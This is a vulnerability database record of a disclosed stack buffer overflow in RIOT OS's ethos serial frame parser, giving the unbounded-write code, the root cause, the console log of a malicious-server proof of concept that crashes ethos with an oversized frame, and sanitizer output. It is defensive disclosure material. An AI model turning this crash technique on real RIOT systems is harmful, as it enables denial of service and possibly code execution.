GCVE-1988-2026-0316
Vulnerability from gna-1988 – Published: 2026-09-09 13:42 – Updated: 2026-09-09 13:42
VLAI
EPSS
VEX
Title
RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in RIOT ethos Serial Frame Parser
Summary
A stack-based buffer overflow vulnerability exists in the RIOT OS ethos
utility due to missing bounds checking when processing incoming serial
frame data. The vulnerability occurs in the _handle_char() function, where
incoming frame bytes are appended to a fixed-size stack buffer
(serial->frame) without verifying that the current write index
(serial->framebytes) remains within bounds. An attacker capable of sending
crafted serial or TCP-framed input can cause serial->framebytes to exceed
the buffer size (MTU, 9000 bytes), resulting in a write past the end of the
stack buffer. This condition leads to memory corruption, application crash,
and potentially arbitrary code execution depending on compiler options and
runtime protections.
*Vulnerable Code:*
static void _handle_char(serial_t *serial, char c)
{
serial->frame[serial->framebytes] = c;
serial->framebytes++;
}
*Root Cause:*
* serial->frame is a fixed-size stack buffer (char frame[MTU])
* serial->framebytes is unbounded and attacker-controlled
* No validation against MTU before writing
*Proof of Concept:*
*listener:*# python3 payload.py
This exploit acts as a MALICIOUS SERVER.
Run ethos like: ./ethos tap0 tcp:127.0.0.1 20000
The exploit will send the payload when ethos connects.
[*] Starting malicious server on 0.0.0.0:20000
[*] Architecture: aarch64
[*] Exploitation mode: crash
[+] Server listening on 0.0.0.0:20000
[!] Waiting for ethos to connect...
[*] Run ethos like this:
./ethos tap0 tcp:127.0.0.1 20000
[+] ethos client connected from ('127.0.0.1', 37114)
[*] Generating crash payload...
[+] Crash payload ready: 9501 bytes
[*] Waiting 1 second before sending payload...
[*] Sending malicious payload (9501 bytes)...
[*] Sent 1024/9501 bytes...
[*] Sent 2048/9501 bytes...
[*] Sent 3072/9501 bytes...
[*] Sent 4096/9501 bytes...
[*] Sent 5120/9501 bytes...
[*] Sent 6144/9501 bytes...
[*] Sent 7168/9501 bytes...
[*] Sent 8192/9501 bytes...
[*] Sent 9216/9501 bytes...
[*] Sent 9501/9501 bytes...
[+] Payload sent successfully!
[!] ethos client should crash now (check for ASAN output)
[*] Received response:
b'~}"\x00\x00\x00\x00\x00\x00~~}"\x00\x00\x00\x00\x00\x00~'
[*] Connection from ('127.0.0.1', 37114) closed
*Connection:*
./ethos tap0 tcp:127.0.0.1 20000
*Output:*----> ethos: sending hello.
----> ethos: activating serial pass through.
ethos.c:186:5: runtime error: index 9000 out of bounds for type 'char[9000]'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ethos.c:186:5
=================================================================
==1375066==ERROR: AddressSanitizer: stack-buffer-overflow on address
0xfbff8f804848 at pc 0xaaaae0b9fad0 bp 0xffffece78420 sp 0xffffece78418
WRITE of size 1 at 0xfbff8f804848 thread T0
#0 0xaaaae0b9facc in _handle_char
/root/RIOT/dist/tools/ethos/ethos.c:186:39
#1 0xaaaae0b9ed38 in _serial_handle_byte
/root/RIOT/dist/tools/ethos/ethos.c:216:17
#2 0xaaaae0b9ed38 in main /root/RIOT/dist/tools/ethos/ethos.c:559:34
#3 0xffff91162598 in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#4 0xffff91162678 in __libc_start_main csu/../csu/libc-start.c:360:3
#5 0xaaaae0ab67ec in _start (/root/RIOT/dist/tools/ethos/ethos+0x367ec)
(BuildId: 4734887eb4858e961729a4e74b8fbfbd73e74d82)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Jan/16 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
Relationships
analysis
GCVE-1988-2026-0316 (this record)
- possibly related CVE-2021-27427
{
"containers": {
"cna": {
"affected": [
{
"product": "RIOT OS",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "A stack-based buffer overflow vulnerability exists in the RIOT OS ethos\nutility due to missing bounds checking when processing incoming serial\nframe data. The vulnerability occurs in the _handle_char() function, where\nincoming frame bytes are appended to a fixed-size stack buffer\n(serial-\u003eframe) without verifying that the current write index\n(serial-\u003eframebytes) remains within bounds. An attacker capable of sending\ncrafted serial or TCP-framed input can cause serial-\u003eframebytes to exceed\nthe buffer size (MTU, 9000 bytes), resulting in a write past the end of the\nstack buffer. This condition leads to memory corruption, application crash,\nand potentially arbitrary code execution depending on compiler options and\nruntime protections.\n\n\n*Vulnerable Code:*\nstatic void _handle_char(serial_t *serial, char c)\n{\n serial-\u003eframe[serial-\u003eframebytes] = c;\n serial-\u003eframebytes++;\n}\n\n*Root Cause:*\n\n* serial-\u003eframe is a fixed-size stack buffer (char frame[MTU])\n* serial-\u003eframebytes is unbounded and attacker-controlled\n* No validation against MTU before writing\n\n\n\n*Proof of Concept:*\n\n\n*listener:*# python3 payload.py\n\nThis exploit acts as a MALICIOUS SERVER.\nRun ethos like: ./ethos tap0 tcp:127.0.0.1 20000\nThe exploit will send the payload when ethos connects.\n\n\n[*] Starting malicious server on 0.0.0.0:20000\n[*] Architecture: aarch64\n[*] Exploitation mode: crash\n\n[+] Server listening on 0.0.0.0:20000\n\n[!] Waiting for ethos to connect...\n[*] Run ethos like this:\n ./ethos tap0 tcp:127.0.0.1 20000\n\n[+] ethos client connected from (\u0027127.0.0.1\u0027, 37114)\n[*] Generating crash payload...\n[+] Crash payload ready: 9501 bytes\n[*] Waiting 1 second before sending payload...\n[*] Sending malicious payload (9501 bytes)...\n[*] Sent 1024/9501 bytes...\n[*] Sent 2048/9501 bytes...\n[*] Sent 3072/9501 bytes...\n[*] Sent 4096/9501 bytes...\n[*] Sent 5120/9501 bytes...\n[*] Sent 6144/9501 bytes...\n[*] Sent 7168/9501 bytes...\n[*] Sent 8192/9501 bytes...\n[*] Sent 9216/9501 bytes...\n[*] Sent 9501/9501 bytes...\n[+] Payload sent successfully!\n[!] ethos client should crash now (check for ASAN output)\n[*] Received response:\nb\u0027~}\"\\x00\\x00\\x00\\x00\\x00\\x00~~}\"\\x00\\x00\\x00\\x00\\x00\\x00~\u0027\n[*] Connection from (\u0027127.0.0.1\u0027, 37114) closed\n\n\n\n*Connection:*\n./ethos tap0 tcp:127.0.0.1 20000\n\n\n\n*Output:*----\u003e ethos: sending hello.\n----\u003e ethos: activating serial pass through.\nethos.c:186:5: runtime error: index 9000 out of bounds for type \u0027char[9000]\u0027\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ethos.c:186:5\n=================================================================\n==1375066==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbff8f804848 at pc 0xaaaae0b9fad0 bp 0xffffece78420 sp 0xffffece78418\nWRITE of size 1 at 0xfbff8f804848 thread T0\n #0 0xaaaae0b9facc in _handle_char\n/root/RIOT/dist/tools/ethos/ethos.c:186:39\n #1 0xaaaae0b9ed38 in _serial_handle_byte\n/root/RIOT/dist/tools/ethos/ethos.c:216:17\n #2 0xaaaae0b9ed38 in main /root/RIOT/dist/tools/ethos/ethos.c:559:34\n #3 0xffff91162598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n #4 0xffff91162678 in __libc_start_main csu/../csu/libc-start.c:360:3\n #5 0xaaaae0ab67ec in _start (/root/RIOT/dist/tools/ethos/ethos+0x367ec)\n(BuildId: 4734887eb4858e961729a4e74b8fbfbd73e74d82)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:42:56Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/16"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jan/16"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jan/16"
],
"discovery": "EXTERNAL"
},
"title": "RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in RIOT ethos Serial Frame Parser",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2021-27427",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0316",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/16",
"automated": true,
"contentSha256": "63267818b090ebf6c24cf8bc4bb438065e200145a28492f0ccdbca2b2dda8293",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/16",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-01-10T05:26:58Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0316"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-09T13:42:56Z",
"dateUpdated": "2026-09-09T13:42:56Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0316"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…